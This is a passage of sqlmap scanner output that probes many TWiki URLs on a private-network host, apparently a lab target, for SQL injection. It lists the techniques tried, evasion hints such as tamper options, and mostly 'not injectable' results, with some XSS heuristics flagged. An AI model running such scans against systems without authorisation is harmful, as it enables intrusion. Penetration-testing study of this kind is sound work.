SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:09:17] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:09:18] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:09:18] [INFO] testing 'MySQL inline queries' [20:09:18] [INFO] testing 'PostgreSQL inline queries' [20:09:18] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:09:18] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:09:19] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:09:19] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:09:20] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:09:20] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:09:20] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:09:21] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:09:22] [INFO] testing 'Oracle AND time-based blind' [20:09:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:09:22] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:09:28] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:09:33] [WARNING] URI parameter '#1*' is not injectable [20:09:33] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 170: GET http://192.168.1.113:80/twiki/bin/view/TWiki/WebHome?skin=print do you want to test this URL? [Y/n/q] Y [20:09:33] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebHome?skin=print' [20:09:33] [INFO] testing connection to the target URL [20:09:33] [INFO] testing if the target URL is stable [20:09:34] [INFO] target URL is stable [20:09:34] [INFO] testing if GET parameter 'skin' is dynamic [20:09:34] [INFO] confirming that GET parameter 'skin' is dynamic [20:09:34] [INFO] GET parameter 'skin' is dynamic [20:09:34] [INFO] heuristics detected web page charset 'ascii' [20:09:34] [WARNING] heuristic (basic) test shows that GET parameter 'skin' might not be injectable [20:09:35] [INFO] testing for SQL injection on GET parameter 'skin' [20:09:35] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:09:35] [WARNING] reflective value(s) found and filtering out [20:09:36] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:09:37] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:09:37] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:09:38] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:09:39] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:09:39] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:09:40] [INFO] testing 'MySQL inline queries' [20:09:40] [INFO] testing 'PostgreSQL inline queries' [20:09:40] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:09:40] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:09:41] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:09:41] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:09:42] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:09:42] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:09:43] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:09:44] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:09:44] [INFO] testing 'Oracle AND time-based blind' [20:09:45] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:09:45] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:09:53] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:10:01] [WARNING] GET parameter 'skin' is not injectable [20:10:01] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 171: GET http://192.168.1.113:80/twiki/bin/rdiff/TWiki/WebHome?rev1=1.79&rev2=1.78 do you want to test this URL? [Y/n/q] Y [20:10:01] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/WebHome?rev1=1.79&rev2=1.78' [20:10:01] [INFO] testing connection to the target URL [20:10:01] [INFO] testing if the target URL is stable [20:10:02] [INFO] target URL is stable [20:10:02] [INFO] testing if GET parameter 'rev1' is dynamic [20:10:02] [WARNING] GET parameter 'rev1' does not appear dynamic [20:10:02] [WARNING] heuristic (basic) test shows that GET parameter 'rev1' might not be injectable [20:10:02] [INFO] heuristic (XSS) test shows that GET parameter 'rev1' might be vulnerable to XSS attacks [20:10:02] [INFO] testing for SQL injection on GET parameter 'rev1' [20:10:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:10:03] [WARNING] reflective value(s) found and filtering out [20:10:04] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:10:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:10:05] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:10:05] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:10:06] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:10:06] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:10:06] [INFO] testing 'MySQL inline queries' [20:10:06] [INFO] testing 'PostgreSQL inline queries' [20:10:07] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:10:07] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:10:07] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:10:08] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:10:08] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:10:08] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:10:09] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:10:10] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:10:10] [INFO] testing 'Oracle AND time-based blind' [20:10:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:10:11] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:10:17] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:10:23] [WARNING] GET parameter 'rev1' is not injectable [20:10:23] [INFO] testing if GET parameter 'rev2' is dynamic [20:10:23] [INFO] confirming that GET parameter 'rev2' is dynamic [20:10:23] [INFO] GET parameter 'rev2' is dynamic [20:10:24] [WARNING] heuristic (basic) test shows that GET parameter 'rev2' might not be injectable [20:10:24] [INFO] heuristic (XSS) test shows that GET parameter 'rev2' might be vulnerable to XSS attacks [20:10:24] [INFO] testing for SQL injection on GET parameter 'rev2' [20:10:24] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:10:25] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:10:28] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:10:28] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:10:29] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:10:30] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:10:30] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:10:32] [INFO] testing 'MySQL inline queries' [20:10:33] [INFO] testing 'PostgreSQL inline queries' [20:10:35] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:10:36] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:10:36] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:10:37] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:10:37] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:10:38] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:10:39] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:10:39] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:10:40] [INFO] testing 'Oracle AND time-based blind' [20:10:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:10:47] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:10:53] [WARNING] GET parameter 'rev2' is not injectable [20:10:53] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 172: GET http://192.168.1.113:80/twiki/bin/view/TWiki/WebHome?rev=1.78 do you want to test this URL? [Y/n/q] Y [20:10:53] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebHome?rev=1.78' [20:10:53] [INFO] testing connection to the target URL [20:10:54] [INFO] testing if the target URL is stable [20:10:54] [INFO] target URL is stable [20:10:54] [INFO] testing if GET parameter 'rev' is dynamic [20:10:55] [WARNING] GET parameter 'rev' does not appear dynamic [20:10:55] [WARNING] heuristic (basic) test shows that GET parameter 'rev' might not be injectable [20:10:55] [INFO] heuristic (XSS) test shows that GET parameter 'rev' might be vulnerable to XSS attacks [20:10:55] [INFO] testing for SQL injection on GET parameter 'rev' [20:10:55] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:10:55] [WARNING] reflective value(s) found and filtering out [20:10:57] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:10:57] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:10:57] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:10:58] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:10:59] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:10:59] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:10:59] [INFO] testing 'MySQL inline queries' [20:10:59] [INFO] testing 'PostgreSQL inline queries' [20:11:00] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:11:00] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:11:00] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:11:01] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:11:01] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:11:01] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:11:02] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:11:03] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:11:03] [INFO] testing 'Oracle AND time-based blind' [20:11:04] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:11:04] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:11:11] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:11:19] [WARNING] GET parameter 'rev' is not injectable [20:11:19] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [20:11:19] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/WebHome?rev1=1.78&rev2=1.77' [20:11:19] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebHome?rev=1.77' URL 173: GET http://192.168.1.113:80/twiki/bin/oops/TWiki/WebHome?template=oopsmore¶m1=1.79¶m2=1.79 do you want to test this URL? [Y/n/q] Y [20:11:19] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/oops/TWiki/WebHome?template=oopsmore¶m1=1.79¶m2=1.79' [20:11:19] [INFO] testing connection to the target URL [20:11:19] [INFO] testing if the target URL is stable [20:11:20] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [20:11:20] [INFO] testing if GET parameter 'template' is dynamic [20:11:20] [INFO] confirming that GET parameter 'template' is dynamic [20:11:20] [INFO] GET parameter 'template' is dynamic [20:11:20] [INFO] heuristics detected web page charset 'ascii' [20:11:20] [WARNING] heuristic (basic) test shows that GET parameter 'template' might not be injectable [20:11:20] [INFO] heuristic (XSS) test shows that GET parameter 'template' might be vulnerable to XSS attacks [20:11:20] [INFO] testing for SQL injection on GET parameter 'template' [20:11:20] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:11:20] [WARNING] reflective value(s) found and filtering out [20:11:21] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:11:21] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:11:22] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:11:22] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:11:23] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:11:23] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:11:23] [INFO] testing 'MySQL inline queries' [20:11:23] [INFO] testing 'PostgreSQL inline queries' [20:11:23] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:11:23] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:11:24] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:11:24] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:11:24] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:11:25] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:11:25] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:11:26] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:11:26] [INFO] testing 'Oracle AND time-based blind' [20:11:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:11:27] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:11:31] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:11:36] [WARNING] GET parameter 'template' is not injectable [20:11:36] [INFO] testing if GET parameter 'param1' is dynamic [20:11:36] [WARNING] GET parameter 'param1' does not appear dynamic [20:11:36] [WARNING] heuristic (basic) test shows that GET parameter 'param1' might not be injectable [20:11:36] [INFO] heuristic (XSS) test shows that GET parameter 'param1' might be vulnerable to XSS attacks [20:11:36] [INFO] testing for SQL injection on GET parameter 'param1' [20:11:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:11:38] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:11:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:11:39] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:11:39] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:11:40] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:11:41] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:11:41] [INFO] testing 'MySQL inline queries' [20:11:41] [INFO] testing 'PostgreSQL inline queries' [20:11:41] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:11:41] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:11:42] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:11:42] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:11:43] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:11:44] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:11:44] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:11:45] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:11:46] [INFO] testing 'Oracle AND time-based blind' [20:11:46] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:11:55] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:12:03] [WARNING] GET parameter 'param1' is not injectable [20:12:03] [INFO] testing if GET parameter 'param2' is dynamic [20:12:03] [WARNING] GET parameter 'param2' does not appear dynamic [20:12:03] [WARNING] heuristic (basic) test shows that GET parameter 'param2' might not be injectable [20:12:04] [INFO] testing for SQL injection on GET parameter 'param2' [20:12:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:12:05] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:12:05] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:12:06] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:12:07] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:12:07] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:12:08] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:12:08] [INFO] testing 'MySQL inline queries' [20:12:08] [INFO] testing 'PostgreSQL inline queries' [20:12:09] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:12:09] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:12:09] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:12:10] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:12:10] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:12:11] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:12:12] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:12:12] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:12:13] [INFO] testing 'Oracle AND time-based blind' [20:12:14] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:12:22] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:12:26] [INFO] target URL appears to be UNION injectable with 10 columns injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y [20:12:31] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') [20:12:32] [INFO] target URL appears to be UNION injectable with 1 columns [20:12:35] [WARNING] GET parameter 'param2' is not injectable [20:12:35] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 174: GET http://192.168.1.113:80/twiki/bin/edit/TWiki/WebPreferences?t=1441457711 do you want to test this URL? [Y/n/q] Y [20:12:35] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/TWiki/WebPreferences?t=1441457711' [20:12:35] [INFO] testing connection to the target URL [20:12:36] [INFO] testing if the target URL is stable [20:12:37] [INFO] target URL is stable [20:12:37] [INFO] testing if GET parameter 't' is dynamic [20:12:37] [WARNING] GET parameter 't' does not appear dynamic [20:12:37] [WARNING] heuristic (basic) test shows that GET parameter 't' might not be injectable [20:12:37] [INFO] testing for SQL injection on GET parameter 't' [20:12:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:12:38] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:12:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:12:39] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:12:39] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:12:40] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:12:40] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:12:40] [INFO] testing 'MySQL inline queries' [20:12:40] [INFO] testing 'PostgreSQL inline queries' [20:12:40] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:12:40] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:12:41] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:12:41] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:12:42] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:12:42] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:12:43] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:12:43] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:12:44] [INFO] testing 'Oracle AND time-based blind' [20:12:44] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:12:44] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:12:50] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:12:56] [WARNING] GET parameter 't' is not injectable [20:12:56] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 175: GET http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=Web Preferences[^A-Za-z] do you want to test this URL? [Y/n/q] Y [20:12:56] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=Web Preferences[^A-Za-z]' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [20:12:56] [INFO] testing connection to the target URL [20:12:56] [INFO] testing if the target URL is stable [20:12:57] [INFO] target URL is stable [20:12:57] [INFO] testing if URI parameter '#1' is dynamic [20:12:57] [INFO] confirming that URI parameter '#1*' is dynamic [20:12:57] [INFO] URI parameter '#1*' is dynamic [20:12:57] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [20:12:57] [INFO] testing for SQL injection on URI parameter '#1*' [20:12:58] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:12:58] [WARNING] reflective value(s) found and filtering out [20:12:59] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:12:59] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:13:00] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:13:00] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:13:01] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:13:02] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:13:02] [INFO] testing 'MySQL inline queries' [20:13:02] [INFO] testing 'PostgreSQL inline queries' [20:13:02] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:13:02] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:13:03] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:13:03] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:13:03] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:13:04] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:13:04] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:13:05] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:13:06] [INFO] testing 'Oracle AND time-based blind' [20:13:06] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:13:06] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:13:11] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:13:17] [WARNING] URI parameter '#1*' is not injectable [20:13:17] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 176: GET http://192.168.1.113:80/twiki/bin/view/TWiki/WebPreferences?skin=print do you want to test this URL? [Y/n/q] Y [20:13:17] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebPreferences?skin=print' [20:13:17] [INFO] testing connection to the target URL [20:13:17] [INFO] testing if the target URL is stable [20:13:18] [INFO] target URL is stable [20:13:18] [INFO] testing if GET parameter 'skin' is dynamic [20:13:18] [INFO] confirming that GET parameter 'skin' is dynamic [20:13:18] [INFO] GET parameter 'skin' is dynamic [20:13:18] [INFO] heuristics detected web page charset 'ascii' [20:13:18] [WARNING] heuristic (basic) test shows that GET parameter 'skin' might not be injectable [20:13:18] [INFO] testing for SQL injection on GET parameter 'skin' [20:13:18] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:13:18] [WARNING] reflective value(s) found and filtering out [20:13:19] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:13:20] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:13:20] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:13:21] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:13:21] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:13:22] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:13:22] [INFO] testing 'MySQL inline queries' [20:13:22] [INFO] testing 'PostgreSQL inline queries' [20:13:22] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:13:22] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:13:23] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:13:23] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:13:24] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:13:24] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:13:24] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:13:25] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:13:25] [INFO] testing 'Oracle AND time-based blind' [20:13:26] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:13:26] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:13:32] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:13:37] [WARNING] GET parameter 'skin' is not injectable [20:13:37] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 177: GET http://192.168.1.113:80/twiki/bin/rdiff/TWiki/WebPreferences?rev1=1.18&rev2=1.17 do you want to test this URL? [Y/n/q] Y [20:13:37] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/WebPreferences?rev1=1.18&rev2=1.17' [20:13:37] [INFO] testing connection to the target URL [20:13:38] [INFO] testing if the target URL is stable [20:13:38] [INFO] target URL is stable [20:13:38] [INFO] testing if GET parameter 'rev1' is dynamic [20:13:39] [WARNING] GET parameter 'rev1' does not appear dynamic [20:13:39] [WARNING] heuristic (basic) test shows that GET parameter 'rev1' might not be injectable [20:13:39] [INFO] heuristic (XSS) test shows that GET parameter 'rev1' might be vulnerable to XSS attacks [20:13:39] [INFO] testing for SQL injection on GET parameter 'rev1' [20:13:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:13:39] [WARNING] reflective value(s) found and filtering out [20:13:40] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:13:40] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:13:41] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:13:41] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - 